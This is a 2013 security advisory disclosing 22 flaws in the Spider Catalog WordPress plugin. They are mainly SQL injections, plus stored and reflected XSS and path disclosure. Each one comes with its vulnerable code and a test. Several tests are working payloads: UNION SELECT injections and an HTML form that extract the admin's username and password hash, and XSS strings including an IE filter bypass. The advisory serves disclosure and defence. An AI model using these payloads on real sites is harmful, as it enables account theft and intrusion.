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[waraxe-2013-SA#105] - Multiple Vulnerabilities in Spider Catalog Wordpress Plugin





Author: Janek Vind "waraxe"
Date: 22. May 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-105.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Spider Catalog is the best WordPress catalog plugin. It is a convenient tool
for organizing the products represented on your website into catalogs. Each
product on the catalog is assigned with a relevant category, which makes it
easier for the customers to search and identify the needed products within the
catalog.

http://wordpress.org/extend/plugins/catalog/
http://web-dorado.com/products/wordpress-catalog.html

Vulnerable is current version 1.4.6, older versions not tested.


###############################################################################
1. SQL Injection in Spider Catalog Shortcodes
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied shortcode parameter "id"
Preconditions:
1. must be logged in as user with posting privileges (Author level
required as minimum by default)


Php script "catalog.php" line 101:
------------------------[ source code start ]----------------------------------
add_shortcode('Spider_Catalog_Category', 'Spider_Catalog_Products_list_shotrcode');

function Spider_Catalog_Single_product_shotrcode($atts) {
extract(shortcode_atts(array(
'id' => '',
), $atts));
return spider_cat_Single_product($id);
}
add_shortcode('Spider_Catalog_Product', 'Spider_Catalog_Single_product_shotrcode');
...
function spider_cat_Single_product($id)
{
...
return front_end_single_product($id);
------------------------[ source code end ]------------------------------------

We can see, that two shortcodes are defined: "Spider_Catalog_Category" and
"Spider_Catalog_Product". Both of them have SQL Injection vulnerability via
shortcode parameter "id".
Let's analyze shortcode "Spider_Catalog_Product" implementation.
Parameter "id" from shortcode "Spider_Catalog_Product" will be used in function
"front_end_single_product()" as argument.

Php script "front_end_functions.php" line 18:
------------------------[ source code start ]----------------------------------
function front_end_single_product($id)
{
...
$product_id=$id;
...
$query = "SELECT ".$wpdb->prefix."spidercatalog_products.*,
".$wpdb->prefix."spidercatalog_product_categories.name as cat_name FROM
".$wpdb->prefix."spidercatalog_products left join
".$wpdb->prefix."spidercatalog_product_categories on
".$wpdb->prefix."spidercatalog_products.category_id=
".$wpdb->prefix."spidercatalog_product_categories.id where
".$wpdb->prefix."spidercatalog_products.id='".$product_id."' and
".$wpdb->prefix."spidercatalog_products.published = '1' ";
$rows = $wpdb->get_results($query);
------------------------[ source code end ]------------------------------------

As seen above, parameter "id" is used in SQL query without any sanitization,
which leads to SQL Injection vulnerability.

Tests:

Log in as user with posting privileges and use shortcode as below:

[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12#"]

Now open webpage containing specific post and MySQL version info will be revealed.

Second test:

[Spider_Catalog_Product id="0' UNION SELECT 1,2,3,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE ID=1),5,6,7,8,9,10,11,12#"]

As result, sensitive information (username and hashed password) will be revealed
for Wordpress user with ID 1 (usually admin).

SQL Injection in other shortcode can be exploited in similar way:

[Spider_Catalog_Category id="0 UNION SELECT 1,2,@@version,4,5,6,7,8#"]

... and we can see MySQL version info (look at the html source code):

<a style="cursor:pointer;" onclick="catt_idd_1(5.5.30)" >Back to Catalog


###############################################################################
2. SQL Injection in "catalog.php" function "catalog_after_search_results()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied parameter "s"
Preconditions: none


Php script "catalog.php" line 39:
------------------------[ source code start ]----------------------------------
function catalog_after_search_results($query){
global $wpdb;
if(isset($_REQUEST['s']) && $_REQUEST['s']){
$serch_word=htmlspecialchars(stripslashes($_REQUEST['s']));
$query=str_replace($wpdb->prefix."posts.post_content",
gen_string_catalog_search($serch_word,$wpdb->prefix.'posts.post_content')
." ".$wpdb->prefix."posts.post_content",$query);
}
return $query;

}
add_filter( 'posts_request', 'catalog_after_search_results');
------------------------[ source code end ]------------------------------------

User-submitted parameter "s" is prepared with functions "stripslashes" and
"htmlspecialchars" and then used in SQL query in Wordpress seach functionality.
Stripping slashes from parameter "s" nullifies "magic_quotes_gpc" effect and
"htmlspecialchars" is suppose to be used for sanitization. Still, it is known,
that "htmlspecialchars" function by default does not modify single quotes,
which leads to SQL Injection vulnerability.
Specific SQL Injection can be exploited using "Nested SQL Injection" method.

Tests:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Then let's issue GET request:

http://localhost/wp351/?s=war'axe

As result SQL errors will be shown on webpage:

WordPress database error: [You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the right syntax to use near 'axe%')
OR (name LIKE '%war'axe%')' at line 1]
SELECT * FROM wp_spidercatalog_product_categories WHERE
(description LIKE '%war'axe%') OR (name LIKE '%war'axe%')

This confirms SQL Injection existence. Now let's try exploitation, which can be
done using either GET or POST method. PoC code below uses POST method.

<html><body><center>
<form action="http://localhost/wp351/" method="post">
<input type="hidden" name="s" value="')UNION SELECT CONCAT(0x27,')))UNION SELECT 1,1,1,1,1,(SELECT CONCAT_WS(0x3a,user_login,user_pass)FROM wp_users WHERE ID=1),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1',0x23),1,1,1,1,1,1,1#">
<input type="submit" value="Test">
</form>
</center></body></html>

After clicking "Test" button POST request will be made and resulting web page
reveals username and password hash for Wordpress user with ID 1.



###############################################################################
3. SQL Injection in "Categories.php" function "change_cat()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "Categories.php" line 491:
------------------------[ source code start ]----------------------------------
function change_cat( $id ){
global $wpdb;
$published=$wpdb->get_var("SELECT published FROM
".$wpdb->prefix."spidercatalog_product_categories WHERE `id`=".$id );
------------------------[ source code end ]------------------------------------

Tests:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=publish_cat&id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
SELECT published FROM wp_spidercatalog_product_categories WHERE `id`=waraxe

This confirms SQL Injection existence.


###############################################################################
4. SQL Injection in "Categories.php" function "editCategory()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "Categories.php" line 338:
------------------------[ source code start ]----------------------------------
function editCategory($id)
{
...
$query="SELECT * FROM ".$wpdb->prefix."spidercatalog_product_categories
WHERE id='".$id."'";
$row=$wpdb->get_row($query);
------------------------[ source code end ]------------------------------------

Tests:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=edit_cat&id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
SELECT * FROM wp_spidercatalog_product_categories WHERE id!=waraxe and parent=0

This confirms SQL Injection existence.


###############################################################################
5. SQL Injection in "Categories.php" function "apply_cat()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "Categories.php" line 570:
------------------------[ source code start ]----------------------------------
function apply_cat($id)
{
...
$cat_row=$wpdb->get_results("SELECT * FROM
".$wpdb->prefix."spidercatalog_product_categories
WHERE id!=" .$_GET['id']. " ");
------------------------[ source code end ]------------------------------------

Tests:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=save&id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
SELECT * FROM wp_spidercatalog_product_categories WHERE id!=waraxe

This confirms SQL Injection existence.


###############################################################################
6. SQL Injection in "Categories.php" function "removeCategory()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "Categories.php" line 519:
------------------------[ source code start ]----------------------------------
function removeCategory($id)
{
...
$sql_remov_tag="DELETE FROM ".$wpdb->prefix."spidercatalog_product_categories
WHERE id='".$id."'";
if(!$wpdb->query($sql_remov_tag))
------------------------[ source code end ]------------------------------------

Tests:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=remove_cat&id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
UPDATE wp_spidercatalog_product_categories SET parent="0" WHERE parent=waraxe

This confirms SQL Injection existence.


###############################################################################
7. SQL Injection in "products.php" function "update_prad_cat()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "ordering"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 364:
------------------------[ source code start ]----------------------------------
function update_prad_cat($id){
...
$corent_ord=$wpdb->get_var('SELECT `ordering`
FROM '.$wpdb->prefix.'spidercatalog_products WHERE id=''.$id.''');
...
if($corent_ord>$_POST["ordering"])
{
$rows=$wpdb->get_results('SELECT * FROM '.$wpdb->prefix.'spidercatalog_products
WHERE ordering>='.$_POST["ordering"].' AND id<>''.$id.'' ORDER BY `ordering` ASC ');
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now let's use html form below for testing:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=apply&id=0" method="post">
<input type="hidden" name="ordering" value="waraxe">
<input type="submit" value="Test">
</form>
</center></body></html>

After pushing "Test" button SQL error will be shown on resulting webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
SELECT * FROM wp_spidercatalog_products WHERE ordering>=waraxe ORDER BY `ordering` ASC

This confirms SQL Injection existence.


###############################################################################
8. SQL Injection in "products.php" function "change_prod()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 245:
------------------------[ source code start ]----------------------------------
function change_prod( $id ){
...
$published=$wpdb->get_var("SELECT published
FROM ".$wpdb->prefix."spidercatalog_products WHERE `id`=".$id );
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=unpublish_prad&id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
SELECT published FROM wp_spidercatalog_products WHERE `id`=waraxe

This confirms SQL Injection existence.


###############################################################################
9. SQL Injection in "products.php" function "spider_cat_prod_rev()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "order_by"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 745:
------------------------[ source code start ]----------------------------------
function spider_cat_prod_rev($id)
{
...
if(isset($_POST['page_number']))
{
if($_POST['asc_or_desc'])
{
$sort["sortid_by"]=$_POST['order_by'];
...
$order="ORDER BY ".$sort["sortid_by"]." ASC";
...
$query = "SELECT * FROM ".$wpdb->prefix."spidercatalog_product_reviews".
$where." ". $order." "." LIMIT ".$limit.",20";
$rows = $wpdb->get_results($query);
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now let's use html form below for testing:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_reviews&id=0" method="post">
<input type="hidden" name="order_by" value="waraxe">
<input type="hidden" name="page_number" value="1">
<input type="hidden" name="asc_or_desc" value="1">
<input type="submit" value="Test">
</form>
</center></body></html>

After pushing "Test" button SQL error will be shown on resulting webpage:

WordPress database error: [Unknown column 'waraxe' in 'order clause']
SELECT * FROM wp_spidercatalog_product_reviews WHERE product_id='0' ORDER BY waraxe ASC LIMIT 0,20

This confirms SQL Injection existence.


###############################################################################
10. SQL Injection in "products.php" function "delete_rev()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "post"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 817:
------------------------[ source code start ]----------------------------------
function delete_rev($id){
..
$cid = $_POST['post'];
...
$cids = implode(',', $cid);
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_reviews
WHERE id IN ( ".$cids." )";
if(!$wpdb->query($query))
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now let's use html form below for testing:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_reviews" method="post">
<input type="hidden" name="post[]" value="waraxe">
<input type="submit" value="Test">
</form>
</center></body></html>

After pushing "Test" button SQL error will be shown on resulting webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
DELETE FROM wp_spidercatalog_product_reviews WHERE id IN ( waraxe )

This confirms SQL Injection existence.


###############################################################################
11. SQL Injection in "products.php" function "delete_single_review()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "del_id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 854:
------------------------[ source code start ]----------------------------------
function delete_single_review($id)
{
...
$del_id=$_GET['del_id'];
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_reviews
WHERE id=".$del_id;
if(!$wpdb->query($query))
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_review&del_id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
DELETE FROM wp_spidercatalog_product_reviews WHERE id=waraxe

This confirms SQL Injection existence.


###############################################################################
12. SQL Injection in "products.php" function "spider_cat_prod_rating()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "order_by"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 940:
------------------------[ source code start ]----------------------------------
function spider_cat_prod_rating($id)
{
...
if(isset($_POST['page_number']))
{
if($_POST['asc_or_desc'])
{
$sort["sortid_by"]=$_POST['order_by'];
...
$order="ORDER BY ".$sort["sortid_by"]." ASC";
...
$query = "SELECT * FROM ".$wpdb->prefix."spidercatalog_product_votes"
.$where." ". $order." "." LIMIT ".$limit.",20";
$rows = $wpdb->get_results($query);
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now let's use html form below for testing:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_rating&id=0" method="post">
<input type="hidden" name="order_by" value="waraxe">
<input type="hidden" name="page_number" value="1">
<input type="hidden" name="asc_or_desc" value="1">
<input type="submit" value="Test">
</form>
</center></body></html>

After pushing "Test" button SQL error will be shown on resulting webpage:

WordPress database error: [Unknown column 'waraxe' in 'order clause']
SELECT * FROM wp_spidercatalog_product_votes WHERE product_id='0' ORDER BY waraxe ASC LIMIT 0,20

This confirms SQL Injection existence.


###############################################################################
13. SQL Injection in "products.php" function "delete_ratings()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied POST parameter "post"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 1014:
------------------------[ source code start ]----------------------------------
function delete_ratings($id){
...
$cid = $_POST['post'];
...
$cids = implode(',', $cid);
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_votes
WHERE id IN ( ".$cids." )";

if(!$wpdb->query($query))
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now let's use html form below for testing:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_ratings" method="post">
<input type="hidden" name="post[]" value="waraxe">
<input type="submit" value="Test">
</form>
</center></body></html>

After pushing "Test" button SQL error will be shown on resulting webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
DELETE FROM wp_spidercatalog_product_votes WHERE id IN ( waraxe )

This confirms SQL Injection existence.


###############################################################################
14. SQL Injection in "products.php" function "delete_single_rating()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "del_id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 1051:
------------------------[ source code start ]----------------------------------
function delete_single_rating($id)
{
...
$del_id=$_GET['del_id'];
$query = "DELETE FROM ".$wpdb->prefix."spidercatalog_product_votes
WHERE id=".$del_id;
if(!$wpdb->query($query))
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=delete_rating&del_id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
DELETE FROM wp_spidercatalog_product_votes WHERE id=waraxe

This confirms SQL Injection existence.


###############################################################################
15. SQL Injection in "products.php" function "update_s_c_rating()"
###############################################################################

Reason:
1. insufficient sanitization of user-supplied data
Attack vector:
1. user-supplied GET parameter "id"
Preconditions:
1. must be logged in as Wordpress admin


Php script "products.php" line 1086:
------------------------[ source code start ]----------------------------------
function update_s_c_rating($id){
...
$rows=$wpdb->get_col("SELECT `id` FROM
".$wpdb->prefix."spidercatalog_product_votes WHERE product_id=".$id);
------------------------[ source code end ]------------------------------------

Test:

first we need to make sure, that Wordpress will show SQL errors.
Let's open the file "wp-includes/wp-db.php" and change the line

var $show_errors = false;

to the line below:

var $show_errors = true;

Now log in as Wordpress admin and then issue GET request as below:

http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=s_p_apply_rating&id=waraxe

As result SQL errors will be shown on webpage:

WordPress database error: [Unknown column 'waraxe' in 'where clause']
SELECT `id` FROM wp_spidercatalog_product_votes WHERE product_id=waraxe

This confirms SQL Injection existence.


###############################################################################
16. Stored XSS in Spider Catalog category name
###############################################################################

Reason:
1. insufficient sanitization of html output
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Test:

1. Add or edit Spider Catalog category entry and set name for category as following:

test<script>alert(123);</script>

2. View added/edited category:

http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog&task=edit_cat&id=2

Result: javascript alert box pops up, confirming Stored XSS vulnerability.


###############################################################################
17. Stored XSS in Spider Catalog product name
###############################################################################

Reason:
1. insufficient sanitization of html output
Preconditions:
1. must be logged in as user with "manage_options" privileges (admin by default)

Test:

1. Add or edit Spider Catalog product entry and set name for product as following:

test<script>alert(123);</script>

2. View added/edited product:

http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog&task=edit_prad&id=5

Result: javascript alert box pops up, confirming Stored XSS vulnerability.


###############################################################################
18. Reflected XSS in "Categories.html.php"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied POST parameters "search_events_by_title", "asc_or_desc" and
"order_by"
Preconditions:
1. logged in as user with "manage_options" privileges (admin by default)


Php script "Categories.html.php" line 90:
------------------------[ source code start ]----------------------------------
if(isset($_POST['serch_or_not'])) {if($_POST['serch_or_not']=="search"){
$serch_value=$_POST['search_events_by_title']; }else{$serch_value="";}}
...
<input type="text" name="search_events_by_title" value="'.$serch_value.'"
...
<input type="hidden" name="asc_or_desc" id="asc_or_desc"
value="<?php if(isset($_POST['asc_or_desc'])) echo $_POST['asc_or_desc'];?>" />
<input type="hidden" name="order_by" id="order_by"
value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>" />
------------------------[ source code end ]------------------------------------

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=Categories_Spider_Catalog" method="post">
<input type="hidden" name="serch_or_not" value="search">
<input type="hidden" name="search_events_by_title" value='"><script>alert(111);</script>'>
<input type="hidden" name="asc_or_desc" value='"><script>alert(222);</script>'>
<input type="hidden" name="order_by" value='"><script>alert(333);</script>'>
<input type="submit" value="Test">
</form>
</center></body></html>

Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.


###############################################################################
19. Reflected XSS in "Products.html.php"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied POST parameters "search_events_by_title", "asc_or_desc" and
"order_by"
Preconditions:
1. logged in as user with "manage_options" privileges (admin by default)


Php script "Products.html.php" line 91:
------------------------[ source code start ]----------------------------------
if(isset($_POST['serch_or_not'])) {if($_POST['serch_or_not']=="search"){
$serch_value=$_POST['search_events_by_title']; }else{$serch_value="";}}
...
<input type="text" name="search_events_by_title" value="'.$serch_value.'"
...
<input type="hidden" name="asc_or_desc" id="asc_or_desc"
value="<?php if(isset($_POST['asc_or_desc'])) echo $_POST['asc_or_desc'];?>" />
<input type="hidden" name="order_by" id="order_by"
value="<?php if(isset($_POST['order_by'])) echo $_POST['order_by'];?>" />
------------------------[ source code end ]------------------------------------

Test:

<html><body><center>
<form action="http://localhost/wp351/wp-admin/admin.php?page=Products_Spider_Catalog" method="post">
<input type="hidden" name="serch_or_not" value="search">
<input type="hidden" name="search_events_by_title" value='"><script>alert(111);</script>'>
<input type="hidden" name="asc_or_desc" value='"><script>alert(222);</script>'>
<input type="hidden" name="order_by" value='"><script>alert(333);</script>'>
<input type="submit" value="Test">
</form>
</center></body></html>

Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.


###############################################################################
20. Reflected XSS in "spiderBox/spiderBox.js.php"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied GET parameters "delay","slideShowQ","allImagesQ", "spiderShop",
"darkBG","juriroot"
Preconditions:
1. PHP setting "register_globals=1"


Php script "spiderBox.js.php" line 243:
------------------------[ source code start ]----------------------------------
slideShowDelay=<?php echo $_GET['delay']; ?>;
slideShowQ=<?php echo $_GET['slideShowQ']; ?>;
allImagesQ=<?php echo $_GET['allImagesQ']; ?>;
spiderShop=<?php echo isset($_GET['spiderShop'])?$_GET['spiderShop']:0; ?>;
darkBG=<?php echo $_GET['darkBG']; ?>;
keyOfOpenImage=-1;
spiderBoxBase="<?php echo urldecode($_GET['juriroot']); ?>/spiderBox/";
------------------------[ source code end ]------------------------------------

Tests:

http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?delay=</script><script>alert(123);</script>
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?slideShowQ=</script><script>alert(123);</script>
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?allImagesQ=</script><script>alert(123);</script>
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?spiderShop=</script><script>alert(123);</script>
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?darkBG=</script><script>alert(123);</script>
http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?juriroot=</script><script>alert(123);</script>

Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.

By the way, GET parameter "juriroot" allows us to use double url encoding,
which bypasses IE Anti-XSS filter:

http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?juriroot=%253C%252Fscript%253E%253Cscript%253Ealert%2528123%2529%253B%253C%252Fscript%253E


###############################################################################
21. Reflected XSS in "catalog.php" function "spider_box_js_php()"
###############################################################################

Reason:
1. insufficient sanitization of html output
Attack vectors:
1. user-supplied GET parameters "delay","slideShowQ","allImagesQ", "spiderShop",
"darkBG","juriroot"
Preconditions: none

Php script "catalog.php" line 1026:
------------------------[ source code start ]----------------------------------
add_action('wp_ajax_spiderboxjsphp', 'spider_box_js_php');
add_action('wp_ajax_nopriv_spiderboxjsphp', 'spider_box_js_php');

function spider_box_js_php(){
...
slideShowDelay=<?php echo $_GET['delay']; ?>;
slideShowQ=<?php echo $_GET['slideShowQ']; ?>;
allImagesQ=<?php echo $_GET['allImagesQ']; ?>;
spiderShop=<?php echo isset($_GET['spiderShop'])?$_GET['spiderShop']:0; ?>;
darkBG=<?php echo $_GET['darkBG']; ?>;
keyOfOpenImage=-1;
spiderBoxBase="<?php echo urldecode($_GET['juriroot']); ?>/spiderBox/";
------------------------[ source code end ]------------------------------------

Tests:

http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderboxjsphp&delay=</script><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderboxjsphp&slideShowQ=</script><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderboxjsphp&allImagesQ=</script><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderboxjsphp&spiderShop=</script><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderboxjsphp&darkBG=</script><script>alert(123);</script>
http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderboxjsphp&juriroot=</script><script>alert(123);</script>

Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities.

By the way, GET parameter "juriroot" allows us to use double url encoding,
which bypasses IE Anti-XSS filter:

http://localhost/wp351/wp-content/plugins/catalog/spiderBox/spiderBox.js.php?juriroot=%253C%252Fscript%253E%253Cscript%253Ealert%2528123%2529%253B%253C%252Fscript%253E


###############################################################################
22. Full Path Disclosure in multiple scripts
###############################################################################

Preconditions:
1. PHP setting "display_errors = On"

Tests:

http://localhost/wp351/wp-content/plugins/catalog/Categories.html.php

Fatal error: Call to undefined function current_user_can() in
C:apache_wwwwp351wp-contentpluginscatalogCategories.html.php on line 3

http://localhost/wp351/wp-content/plugins/catalog/Categories.php

Fatal error: Call to undefined function current_user_can() in
C:apache_wwwwp351wp-contentpluginscatalogCategories.php on line 3

http://localhost/wp351/wp-content/plugins/catalog/Products.html.php

Fatal error: Call to undefined function current_user_can() in
C:apache_wwwwp351wp-contentpluginscatalogProducts.html.php on line 3

http://localhost/wp351/wp-content/plugins/catalog/catalog.php

Fatal error: Call to undefined function add_action() in
C:apache_wwwwp351wp-contentpluginscatalogcatalog.php on line 11

http://localhost/wp351/wp-content/plugins/catalog/catalog_Options.html.php

Fatal error: Call to undefined function current_user_can()
in C:apache_wwwwp351wp-contentpluginscatalogcatalog_Options.html.php on line 3

http://localhost/wp351/wp-content/plugins/catalog/catalog_Options.php

Fatal error: Call to undefined function current_user_can() in
C:apache_wwwwp351wp-contentpluginscatalogcatalog_Options.php on line 3

http://localhost/wp351/wp-content/plugins/catalog/products.php

Fatal error: Call to undefined function current_user_can() in
C:apache_wwwwp351wp-contentpluginscatalogproducts.php on line 3

http://localhost/wp351/?s[]

Warning: stripslashes() expects parameter 1 to be string, array given in
C:apache_wwwwp351wp-contentpluginscatalogcatalog.php on line 42



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------









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Published on: 2013-05-22 (23021 reads)

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